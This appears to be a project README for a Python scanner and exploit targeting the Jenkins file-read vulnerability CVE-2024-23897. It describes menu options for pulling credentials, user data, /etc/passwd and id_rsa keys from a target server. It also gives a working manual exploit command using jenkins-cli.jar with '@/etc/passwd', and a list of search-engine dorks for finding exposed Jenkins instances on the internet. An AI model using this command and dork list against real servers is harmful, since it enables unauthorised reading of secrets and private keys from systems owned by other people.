
Un script realizado en python para atumatizar la vulnerabilidad CVE-2024-23897
Affected versions:
A Python script to automate the vulnerability CVE-2024-23897 🤖 🛠️
This Python code presents a scanner for a specific vulnerability (CVE-2024-23897) in Jenkins servers. It starts by asking the user for the Jenkins server URL.
Then, it offers the option to download the "jenkins-cli.jar" file needed to interact with Jenkins from the command line. Afterwards, it presents a menu of options that includes executing commands such as obtaining server information, environment information, Jenkins configuration information, user information, credential information, as well as reading sensitive files like "/etc/passwd", "/etc/os-release" and "id_rsa".
Once a menu option is selected, the corresponding command is executed on the provided Jenkins server. The code is structured with functions to download the file and execute commands, and a main function to handle the program flow.
Execution for Jenkins server 📝:
python3 CVE-2024-23897-A-scaner.py
execution for Jenkins server IN DOCKER 📝:
python3 CVE-2024-23897-B-DOCKER-scaner.py
---------------------------------------------------------------------------------------------------------------------------------
manual execution.
1- download jenkins-cli.jar: http:///jnlpJars/jenkins-cli.jar
2- to perform LFI, run: java -jar jenkins-cli.jar -s http://172.17.0.2:8080/ -http connect-node "@/etc/passwd"
dork list:
intitle:"Dashboard [Jenkins]" inurl:"/login"
intitle:"Jenkins" "Dashboard"
inurl:"/computer/" intitle:"Jenkins"
inurl:"/script" intitle:"Jenkins"
"Jenkins [Jenkins]" intitle:"Login"
intitle:"Jenkins" "Jenkins ver. 2.441"
inurl:"/manage" intitle:"Jenkins"
site:.com intitle:"Jenkins"
site:aws.amazon.com intitle:"Jenkins"
filetype:xml inurl:"jenkins/config.xml"